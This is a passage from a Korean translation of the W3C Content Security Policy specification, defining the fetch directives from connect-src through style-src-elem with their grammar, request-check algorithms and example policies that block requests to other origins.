connect-src 지시어는 스크립트 인터페이스로 불러올 수 있는 URL을 제한합니다. 지시어의 이름과 값에 대한 문법은 다음과 같습니다:

directive-name  = "connect-src"
directive-value = serialized-source-list

이 지시어는 다른 오리진과 데이터 송수신을 하는 요청(request)을 제어합니다. fetch(), [XHR], [EVENTSOURCE], [BEACON] 등과 a 요소의 ping 등도 포함됩니다. 또한 WebSocket [WEBSOCKETS] 연결도 제어합니다(패치에 포함되지 않지만).

자바스크립트는 외부 서버에 직접 연결하여 데이터를 송수신하는 몇 가지 메커니즘을 제공합니다. EventSource는 서버와 지속적인 HTTP 연결을 유지해 푸시 알림을 받고, WebSockets는 브라우저와 서버 간 양방향 통신 채널을 개설하며, XMLHttpRequest는 임의의 HTTP 요청을 보낼 수 있습니다. 이는 유용한 기능을 제공하지만 동시에 데이터 탈취의 경로가 될 수 있습니다.

connect-src 지시어를 사용하면 이러한 연결이 신뢰하는 오리진으로만 열리도록 보장할 수 있습니다. 이 지시어에 대해 소스 식 리스트를 정의한 정책을 보내는 것은 간단합니다. 예를 들어, https://example.com으로만 연결을 제한하려면 다음 헤더를 보냅니다:

Content-Security-Policy: connect-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 connect-src소스 리스트와 일치하지 않기 때문입니다:

<a ping="https://example.org">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.org/');
  xhr.send();

  var ws = new WebSocket("wss://example.org/");

  var es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>
6.1.2.1. connect-src 사전 요청 검사

이 지시어의 사전 요청 검사(pre-request check)는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, connect-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.2.2. connect-src 사후 요청 검사

이 지시어의 사후 요청 검사(post-request check)는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, connect-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.3. default-src

default-src 지시어는 다른 패치 지시어의 폴백 역할을 합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "default-src"
directive-value = serialized-source-list

정책에 default-src 지시어가 있으면, 그 값이 정책의 기본 소스 리스트로 사용됩니다. 예를 들어 default-src 'none'; script-src 'self'라면, 스크립트 요청은 'self' 소스 리스트를 사용하고, 다른 요청은 'none'을 사용합니다. 자세한 동작은 § 4.1.2 Content Security Policy로 요청 차단 여부§ 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부 알고리즘에서 설명합니다.

prefetch, preconnect 등 리소스 힌트는 특정 패치 지시어에 연결되지 않고, 정책 내 모든 지시어의 소스 리스트의 합집합을 따릅니다. default-src가 없으면, 이러한 요청은 항상 허용됩니다. 자세한 내용은 § 8.6 데이터 유출 참고. [HTML]
다음 헤더:
Content-Security-Policy: default-src 'self'

아래 헤더와 동일하게 동작합니다:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem 'self';
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

즉, default-src가 설정된 경우, 명시적으로 설정되지 않은 모든 패치 지시어default-src가 지정한 값을 폴백으로 사용합니다.

상속은 없습니다. 예를 들어 script-src 지시어가 명시적으로 지정된 경우, default-src의 값은 스크립트 요청에 아무 영향도 주지 않습니다. 즉, 다음 헤더:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com

아래 헤더와 동일하게 동작합니다:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem https://example.com;
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

이 동작에 따라 사이트의 정책을 구성하는 좋은 방법은 default-src'none'으로 시작한 뒤, 해당 페이지에 필요한 리소스 유형만 점진적으로 허용하는 것입니다.

6.1.3.1. default-src 사전 요청 검사

이 지시어의 사전 요청 검사(pre-request check)는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, default-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. name지시어사전 요청 검사(pre-request check)request, policy에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.

6.1.3.2. default-src 사후 요청 검사

이 지시어의 사후 요청 검사(post-request check)는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, default-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. name지시어사후 요청 검사(post-request check)request, response, policy에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.

6.1.3.3. default-src 인라인 검사(Inline Check)

이 지시어의 인라인 검사(Inline Check) 알고리즘은 다음과 같습니다:

Element element, 문자열 type, policy policy, 문자열 source가 주어졌을 때:

  1. name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득type에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, default-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. 그 외의 경우, name지시어인라인 검사(Inline Check)element, type, policy, source에 대해 실행한 결과를 반환한다. 이때 비교에는 본 지시어의 값(value)을 사용한다.

6.1.4. font-src

font-src 지시어는 폰트 리소스를 불러올 수 있는 URL을 제한합니다. 지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:

directive-name  = "font-src"
directive-value = serialized-source-list
다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: font-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 font-src소스 리스트와 일치하지 않기 때문입니다:

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>
6.1.4.1. font-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, font-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.4.2. font-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, font-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.5. frame-src

frame-src 지시어는 자식 내비게이션(child navigable)에 로드될 수 있는 URL을 제한합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "frame-src"
directive-value = serialized-source-list
다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: frame-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 frame-src소스 리스트와 일치하지 않기 때문입니다:

<iframe src="https://example.org/">
</iframe>
6.1.5.1. frame-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, frame-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.5.2. frame-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, frame-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.6. img-src

img-src 지시어는 이미지 리소스를 불러올 수 있는 URL을 제한합니다. 지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:

directive-name  = "img-src"
directive-value = serialized-source-list

이 지시어는 이미지를 불러오는 요청(request)을 제어합니다. 더 공식적으로는 요청(request)destination이 "image"인 경우를 포함합니다 [FETCH].

다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: img-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 img-src소스 리스트와 일치하지 않기 때문입니다:

<img src="https://example.org/img">
6.1.6.1. img-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, img-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.6.2. img-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, img-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.7. manifest-src

manifest-src 지시어는 애플리케이션 매니페스트를 불러올 수 있는 URL을 제한합니다 [APPMANIFEST]. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "manifest-src"
directive-value = serialized-source-list
다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: manifest-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 manifest-src소스 리스트와 일치하지 않기 때문입니다:

<link rel="manifest" href="https://example.org/manifest">
6.1.7.1. manifest-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, manifest-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.7.2. manifest-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, manifest-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.8. media-src

media-src 지시어는 비디오, 오디오 및 관련 텍스트 트랙 리소스를 불러올 수 있는 URL을 제한합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "media-src"
directive-value = serialized-source-list
다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: media-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 media-src소스 리스트와 일치하지 않기 때문입니다:

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>
6.1.8.1. media-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, media-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.8.2. media-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, media-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.9. object-src

object-src 지시어는 플러그인 콘텐츠를 불러올 수 있는 URL을 제한합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "object-src"
directive-value = serialized-source-list
다음과 같은 Content Security Policy가 적용된 페이지가 있다고 가정:
Content-Security-Policy: object-src https://example.com/

아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 object-src소스 리스트와 일치하지 않기 때문입니다:

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>

플러그인 콘텐츠가 URL 없이 로드되는 경우(예를 들어 object 요소에 data 속성이 없지만 type으로 기본 플러그인을 불러올 때), object-src 값이 'none'인 경우 반드시 차단되어야 하며, 그렇지 않으면 허용됩니다.

참고: object-src 지시어는 object 또는 embed 요소로 인해 발생하는 모든 요청에 적용됩니다. 여기에는 해당 요소가 생성한 자식 내비게이션(child navigable)을 채우는 요청(내비게이션 포함)이 포함됩니다. 이 동작은 데이터가 본래 다른 지시어로 제한될 수 있는 콘텐츠와 의미적으로 동등하더라도 마찬가지입니다(예: object 요소가 text/html MIME 타입을 가질 때).

참고: 플러그인 리소스를 직접 내비게이션(즉, plugin내비게이션(navigable) 내에 있고 embed 또는 object의 하위 리소스로 불러온 것이 아닐 때) 하는 경우, 해당 리소스와 함께 전달된 정책(policy)이 결과 Document에 적용됩니다. 즉, object-src 'none' 정책을 응답에 함께 제공하면 임의 리소스의 플러그인 콘텐츠 실행을 막을 수 있습니다. Flash 등 플러그인의 강력함과 특이한 보안 모델을 고려할 때, 이는 Rosetta Flash와 같은 공격 벡터 위험을 줄이는 데 도움이 됩니다.

6.1.9.1. object-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, object-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.9.2. object-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, object-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

6.1.10. script-src

script-src 지시어는 스크립트를 실행할 수 있는 위치를 제한합니다. 이는 script 요소에 직접 로드되는 URL뿐만 아니라, 인라인 스크립트 블록 및 XSLT 스타일시트 [XSLT] 등 스크립트 실행을 유발하는 모든 것을 포함합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "script-src"
directive-value = serialized-source-list

script-src 지시어는 모든 스크립트류 destination(여기에는 worker-src가 없으면 워커 destination도 포함됨)에 대한 기본 폴백 역할을 합니다. 특별한 세분화가 필요하지 않으면 script-srcscript-src-attrscript-src-elem 대신 사용하는 것이 좋습니다. 대부분의 경우 인라인 이벤트 핸들러와 script 요소에 별도의 권한 목록을 둘 이유가 없습니다.

script-src 지시어는 다음 여섯 가지를 관리합니다:

  1. 스크립트 요청(request)은 반드시 § 4.1.2 Content Security Policy로 요청 차단 여부를 거쳐야 합니다.

  2. 스크립트 응답(response)은 반드시 § 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부를 거쳐야 합니다.

  3. 인라인 script 블록은 반드시 § 4.2.3 요소의 인라인 타입 동작이 Content Security Policy로 차단되어야 하는지 여부를 거쳐야 합니다. 모든 정책이 인라인 스크립트를 허용하지 않으면(암묵적으로 script-src 또는 default-src 지시어를 명시하지 않거나, 명시적으로 "unsafe-inline" 또는 nonce-source 또는 hash-source가 해당 인라인 블록에 매칭되는 경우가 아니면) 동작이 차단됩니다.

  4. 다음 자바스크립트 실행 sink는 "unsafe-eval" 또는 "trusted-types-eval" 소스 식에 의해 제어됩니다:

    참고: 사용자 에이전트가 setImmediate()execScript()와 같이 비표준 sink를 구현하는 경우, 역시 "unsafe-eval"로 제어해야 합니다. "unsafe-eval"은 페이지 전체의 플래그로 동작하므로, script-src-attrscript-src-elem은 이 체크에 사용하지 않고, 항상 script-src(또는 폴백 지시어)만 사용합니다.

  5. 다음 WebAssembly 실행 sink는 "wasm-unsafe-eval" 또는 "unsafe-eval" 소스 식에 의해 제어됩니다:

    참고: "wasm-unsafe-eval" 소스 식이 더 구체적입니다. "unsafe-eval"은 WebAssembly의 컴파일/인스턴스화와 자바스크립트의 "eval" 모두를 허용하지만, "wasm-unsafe-eval"은 오직 WebAssembly만 허용하고 자바스크립트에는 영향을 주지 않습니다.

  6. javascript: URL로의 내비게이션은 반드시 § 4.2.3 요소의 인라인 타입 동작이 Content Security Policy로 차단되어야 하는지 여부를 거쳐야 합니다. 모든 정책이 인라인 스크립트를 허용하는 경우에만 스크립트가 실행됩니다(3번과 동일).

6.1.10.1. script-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, script-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.1.1 스크립트 지시어 사전 요청 검사request, 본 지시어, policy에 대해 실행한 결과를 반환한다.

6.1.10.2. script-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, script-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.1.2 스크립트 지시어 사후 요청 검사request, response, 본 지시어, policy에 대해 실행한 결과를 반환한다.

6.1.10.3. script-src 인라인 검사

이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:

Element element, 문자열 type, policy policy, 문자열 source가 주어졌을 때:

  1. 단언: element는 null이 아니거나 type이 "navigation"이다.

  2. name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득type에 대해 실행한 결과로 한다.

  3. § 6.8.4 fetch 지시어 실행 여부name, script-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  4. § 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  5. "Allowed"를 반환한다.

6.1.11. script-src-elem

지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:

directive-name  = "script-src-elem"
directive-value = serialized-source-list

script-src-elem 지시어는 모든 스크립트 요청 및 스크립트 블록에 적용됩니다. 스크립트를 실행하는 속성(인라인 이벤트 핸들러)은 script-src-attr로 제어됩니다.

따라서 script-src와 비교했을 때 다음과 같은 차이가 있습니다:

6.1.11.1. script-src-elem 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, script-src-elem, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.1.1 스크립트 지시어 사전 요청 검사request, 본 지시어, policy에 대해 실행한 결과를 반환한다.

6.1.11.2. script-src-elem 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, script-src-elem, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.1.2 스크립트 지시어 사후 요청 검사request, response, 본 지시어, policy에 대해 실행한 결과를 반환한다.

6.1.11.3. script-src-elem 인라인 검사

이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:

Element element, 문자열 type, policy policy, 문자열 source가 주어졌을 때:

  1. 단언: element는 null이 아니거나 type이 "navigation"이다.

  2. name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득type에 대해 실행한 결과로 한다.

  3. § 6.8.4 fetch 지시어 실행 여부name, script-src-elem, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  4. § 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  5. "Allowed"를 반환한다.

6.1.12. script-src-attr

지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:

directive-name  = "script-src-attr"
directive-value = serialized-source-list

script-src-attr 지시어는 이벤트 핸들러에 적용되며, 이 지시어가 있으면 관련 검사에서 script-src 지시어를 덮어씁니다.

6.1.12.1. script-src-attr 인라인 검사

이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:

Element element, 문자열 type, policy policy, 문자열 source가 주어졌을 때:

  1. 단언: element는 null이 아니거나 type이 "navigation"이다.

  2. name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득type에 대해 실행한 결과로 한다.

  3. § 6.8.4 fetch 지시어 실행 여부name, script-src-attr, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  4. § 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  5. "Allowed"를 반환한다.

6.1.13. style-src

style-src 지시어는 스타일이 Document에 적용될 수 있는 위치를 제한합니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:

directive-name  = "style-src"
directive-value = serialized-source-list

style-src 지시어는 다음을 관리합니다:

  1. 스타일 요청(request)은 반드시 § 4.1.2 Content Security Policy로 요청 차단 여부를 거쳐야 합니다. 여기에는 다음이 포함됩니다:

    1. link 요소에서 발생하는 스타일시트 요청

    2. @import 규칙에서 발생하는 스타일시트 요청

    3. Link HTTP 응답 헤더 필드에서 발생하는 스타일시트 요청 [RFC8288]

  2. 스타일 요청에 대한 응답(response)은 반드시 § 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부를 거쳐야 합니다.

  3. 인라인 style 블록은 반드시 § 4.2.3 요소의 인라인 타입 동작이 Content Security Policy로 차단되어야 하는지 여부를 거쳐야 합니다. 모든 정책이 인라인 스타일을 허용하지 않으면(암묵적으로 style-src 또는 default-src 지시어를 명시하지 않거나, 명시적으로 "unsafe-inline", nonce-source, hash-source가 해당 인라인 블록에 매칭되는 경우가 아니면) 스타일이 차단됩니다.

  4. 다음 CSS 알고리즘은 unsafe-eval 소스 식에 의해 제어됩니다:

    1. CSS 규칙 삽입(insert a CSS rule)

    2. CSS 규칙 파싱(parse a CSS rule)

    3. CSS 선언 블록 파싱(parse a CSS declaration block)

    4. 셀렉터 그룹 파싱(parse a group of selectors)

    이는 예를 들어 CSSOM의 다양한 cssText setter 및 insertRule 메서드 호출을 모두 포함합니다 [CSSOM] [HTML].

    이 부분 설명이 더 필요합니다. [w3c/webappsec-csp Issue #212]

6.1.13.1. style-src 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, style-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인requestcryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "Matches"이면 "Allowed"를 반환한다.

  4. § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  5. "Allowed"를 반환한다.

6.1.13.2. style-src 사후 요청 검사

이 지시어의 사후 요청 검사는 다음과 같습니다:

request request, response response, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, style-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인requestcryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "Matches"이면 "Allowed"를 반환한다.

  4. § 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  5. "Allowed"를 반환한다.

6.1.13.3. style-src 인라인 검사

이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:

Element element, 문자열 type, policy policy, 문자열 source가 주어졌을 때:

  1. name§ 6.8.2 인라인 검사에 대한 유효 지시어 획득type에 대해 실행한 결과로 한다.

  2. § 6.8.4 fetch 지시어 실행 여부name, style-src, policy에 대해 실행한 결과가 "No"이면, "Allowed"를 반환한다.

  3. § 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "Does Not Match"이면 "Blocked"를 반환한다.

  4. "Allowed"를 반환한다.

이 지시어의 초기화(initialization) 알고리즘은 다음과 같습니다:

CSSOM 알고리즘을 안전하게 잠그기 위해 실행 컨텍스트에서 무언가 흥미로운 처리를 해야 합니다. 현재 CSSOM에서 이러한 훅을 제공하지 않으므로, 적절한 해결책을 위해 CSSOM과 협업해야 할 것 같습니다.

6.1.14. style-src-elem

지시어의 이름과 값에 대한 문법은 다음 ABNF로 정의됩니다:

directive-name  = "style-src-elem"
directive-value = serialized-source-list

style-src-elem 지시어는 인라인 속성에서 정의된 스타일을 제외한 스타일의 동작을 관리합니다.

6.1.14.1. style-src-elem 사전 요청 검사

이 지시어의 사전 요청 검사는 다음과 같습니다:

request request, policy policy가 주어졌을 때:

  1. name§ 6.8.1 요청에 대한 유효 지시어 획득request에 대해 실행한 결과로 한다.

